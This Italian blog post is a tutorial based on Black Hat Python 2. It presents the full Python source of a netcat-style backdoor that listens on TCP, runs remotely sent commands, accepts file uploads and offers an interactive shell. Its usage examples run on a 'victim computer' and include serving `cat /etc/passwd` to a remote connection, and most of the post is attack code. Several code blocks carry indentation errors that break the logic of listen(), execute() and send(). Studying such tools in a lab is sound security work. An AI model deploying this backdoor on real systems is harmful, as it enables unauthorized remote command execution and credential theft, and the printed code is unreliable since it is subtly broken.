Home Backdoor in Python - script che sostituisce Netcat ed SSH
Post
Cancel

Backdoor in Python - script che sostituisce Netcat ed SSH

Intro - il potere dello scripting

Non mi sono mai ritenuto un programmatore, ho sempre avuto interessi che vanno oltre la mera creazione di software, soprattutto se si parla di programmare ore e ore al giorno per qualcuno.

Vi immaginate passare 1 mese a programmare una parte essenziale di un software per poi vedere la tua azienda, già multimilionaria, prendere il merito (e fare ancora più soldi) grazie alla tua bravura e duro lavoro?

Scrivere script invece è diverso. Uno script è come un cacciavite con le potenzialità di diventare un trapano. In questo caso il codice che vedremo è pressochè semplice. Sta a te, se lo vorrai, andare a ricercare e approfondire l’argomento in modo da rendere lo script adatto alle tue esigenze.

In questo articolo andrò a dissezionare e cercare di spiegare nel modo più semplice possibile come approcciarsi alla programmazione, con le Python Sockets, di un tool per terminale che agisce da coltellino svizzero per le reti, con le capacità di:

  • funzionare da backdoor
  • sostituire netcat ed SSH

ci tengo a precisare che IL SEGUENTE CODICE NON E’ MIO. Nell’approfondire il Network Hacking sto seguendo le linee guida del Libro “Black Hat Python 2”, che è probabilmente il miglior libro per imparare a creare i propri python tools in ambito PenTesting.

Questo codice è interamente presente nella primo capitolo “Python Networking in a Paragraph“. Se vi interessa solo leggere e avere il codice per intero, qui un link alla cartella github dove l’ho salvato.

Python Sockets - aprire un tunnel di comunicazione

Iniziamo importando tutte le librerie che ci serviranno più tardi

1
2
3
4
5
6
7
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading

Per scrivere la classe NetCat, che ci permette di comunicare via TCP con un altro host su cui è installato questo programma, useremo lo stesso principio degli script TCP Server e Client, ma renderemo capace questo script di potersi comportare sia da server che da client.

classe Netcat

Inizializziamo la classe con degli argomenti args (in questo caso i toggle -c e -l che definiranno il comportamento dello script) di cui ci occuperemo più tardi nella funzione main.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class NetCat:

	def __init__(self,args,buffer=None):
		self.args = args
		self.buffer = buffer
		self.socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	
	
	def run(self):
		if self.args.listen:
			self.listen()
		else:
			self.send()

Nella funzione run vediamo come la Socket che abbiamo definito prima si comporterà in modo diverso se includiamo o meno l’argomento listen.

La linea che appare più strana è l’ultima della funzione __init__, che serve a indicare alla socket di utilizzare in modo forzato la porta, anche se essa è usata da un altro processo. Infatti se date un’occhiata alle librerie importate, lo script avrà funzioni di multithreading, per gestire più connessioni in entrata contemporaneamente.

funzioni send() e listen()

Le funzioni send() e listen(), due facce della stessa medaglia, vengono definite da noi all’interno della classe e vanno architettate ad-hoc per ciò che serve a noi, ovvero la possibilità di scrivere comandi e mandarli, oppure di riceverli ed eseguirli con la funzione execute().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def send(self):
	self.socket.connect((self.args.target, self.args.port))
	if self.buffer:
		self.socket.send(self.buffer)
	try:
		while True:
			recv_len = 1
			response = ''
			while recv_len:
				data = self.socket.recv(4096)
				recv_len = len(data)
				response += data.decode()
					if recv_len < 4096:
						break
					if response:
						print(response)
						buffer = input('> ')
						buffer += '\n'
						self.socket.send(buffer.encode())
	except KeyboardInterrupt:
		print('User terminated.')
		self.socket.close()
		sys.exit()
1
2
3
4
5
6
7
8
def listen(self):
	self.socket.bind((self.args.target, self.args.port))
	self.socket.listen(5)

while True:
	client_socket, _ = self.socket.accept()
	client_thread = threading.Thread(target=self.handle, args=(client_socket,))
	client_thread.start()

Non sono un esperto di Threads ma questo pezzo di codice fa in modo di aspettare per istruzioni dal client (noi che inviamo i comandi da eseguire in remoto) per poi chiamare la funzione handle che si occupa di eseguire tali istruzioni.

funzioni execute() e handle()

La funzione execute va scritta prima della classe NetCat, serve a far eseguire con interprete locale i comandi che vengono inviati.

1
2
3
4
5
6
7
def execute(cmd):
	cmd = cmd.strip()
	if not cmd:
		return

output = subprocess.check_output(shlex.split(cmd),stderr=subprocess.STDOUT)
return output.decode()

In questa funzione viene passato un comando cmd, che viene eseguito da un subprocess e infine viene ritornato l’output del comando stesso.

Ora vediamo la funzione handle, metodo della classe NetCat, serve a gestire gli argomenti che passeremo al programma in python ed interpretarli, ad esempio se nell’eseguire il programma passeremo l’argomento -c questa funzione farà in modo di eseguire una command-line interface nella quale potremo scrivere comandi ed eseguirli stile SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def handle(self, client_socket):
# se l'argomento 'execute' è presente manda il comando alla funzione execute
        if self.args.execute:
            output = execute(self.args.execute)
            client_socket.send(output.encode())
# funzione per l'upload di file
        elif self.args.upload:
            file_buffer = b''
            while True:
                data = client_socket.recv(4096)
                if data:
                    file_buffer += data
                else:
                    break

            with open(self.args.upload, 'wb') as f:
                f.write(file_buffer)
            message = f'Saved file {self.args.upload}'
            client_socket.send(message.encode())
# funzione per gestire il terminale in stile simil-ssh
        elif self.args.command:
            cmd_buffer = b''
            while True:
                try:
                    client_socket.send(b'BHP: #> ')
                    while '\n' not in cmd_buffer.decode():
                        cmd_buffer += client_socket.recv(64)
                    response = execute(cmd_buffer.decode())
                    if response:
                        client_socket.send(response.encode())
                    cmd_buffer = b''
                except Exception as e:
                    print(f'server killed {e}')
                    self.socket.close()
                    sys.exit()

funzione main()

In questo caso la funzione main dovrà occuparsi di valutare gli argomenti passati quando il programma viene eseguito.

Per comprenderci, gli argomenti di cui parlo sono quelli a destra del nome del programma: Pasted image 20221207105227.png

Inoltre dovrà permetterci di avere una descrizione delle funzioni del programma quando scriveremo qualcosa come:

1
$ python3 NetCat.py --help

Per fare questo ed altro sfrutteremo la libreria argparse:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if __name__=='__main__':
    parser = argparse.ArgumentParser(
        description='BHP Net Tool', formatter_class=argparse.RawDescriptionHelpFormatter, 
        epilog=textwrap.dedent('''Example:
            netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
            netcat.py -t 192.168.1.108 -p 5555 -l -u=mytext.txt # upload to file
            netcat.py -t 192.168.1.108 -p 5555 # connect to server
            '''))
    parser.add_argument('-c', '--command', action='store_true', help='command shell')
    parser.add_argument('-e', '--execute', help='execute specified command')
    parser.add_argument('-l', '--listen', action='store_true', help='listen')
    parser.add_argument('-p', '--port', type=int,default=5555, help='specified port')
    parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
    parser.add_argument('-u', '--upload', help='upload file')
    args = parser.parse_args()

    if args.listen:
        buffer = ''
    else:
        buffer = sys.stdin.read() 

    nc = NetCat(args, buffer.encode())
    nc.run()

Funzionamento

Adesso vediamo in che modi possiamo sfruttare questo script.

command line interface

Con i metodi execute() e handle() il programma permette di eseguire comandi da remoto nel computer vittima, i quali output vengono mandati a noi tramite i metodi send() e listen.

Nella mia macchina virtuale, che ha l’impostazione di rete settata su bridge, trovo l’IP in modo da potermi connettermi da remoto.

Pasted image 20221210125440.png

Bene, adesso che so l’IP della mia macchina virtuale, vediamo come usare il programma per ottenere una interfaccia command line come stessimo usando ssh.

Pasted image 20221210131554.png

Usando lo switch --help otteniamo questa lista di opzioni. Avviamo nel computer vittima il processo command shell per poi connetterci da remoto.

1
python3 NetCat.py -t 192.168.1.133 -p 5555 -l -c

Adesso la macchina virtuale aspetterà per una connessione nella porta 5555.

Noi possiamo connetterci in vari modi a quella porta, uno di questi è usando il normale tool netcat:

Pasted image 20221210132126.png

Questa command line shell è programmata in modo da terminare il processo nel caso in cui si dovesse immettere un comando non valido.

Pasted image 20221210132359.png quando il comando non può essere valutato il processo del server viene terminato Pasted image 20221210132417.png la feature di server killed è molto utile in fase di debug

Comando singolo

Se volessimo valutare il testo in output di un singolo comando, per poi poterlo recuperare da remoto, basterebbe usare l’opzione -e execute: quest’ultima eseguirà il comando e non appena si avrà una connessione in entrata, l’output del comando verrà inviato a noi che ci saremo connessi alla porta 5555:

Nel computer vittima:

1
python3 NetCat.py -t 192.168.1.133 -p 5555 -l -e="cat /etc/passwd" 

Nel nostro computer:

1
nc 192.168.1.133 5555

Pasted image 20221210133607.png

Usando questa funzione verrà valutato solo il comando specificato come argomento, non si potranno eseguire altri comandi da remoto

This post is licensed under CC BY 4.0 by the author.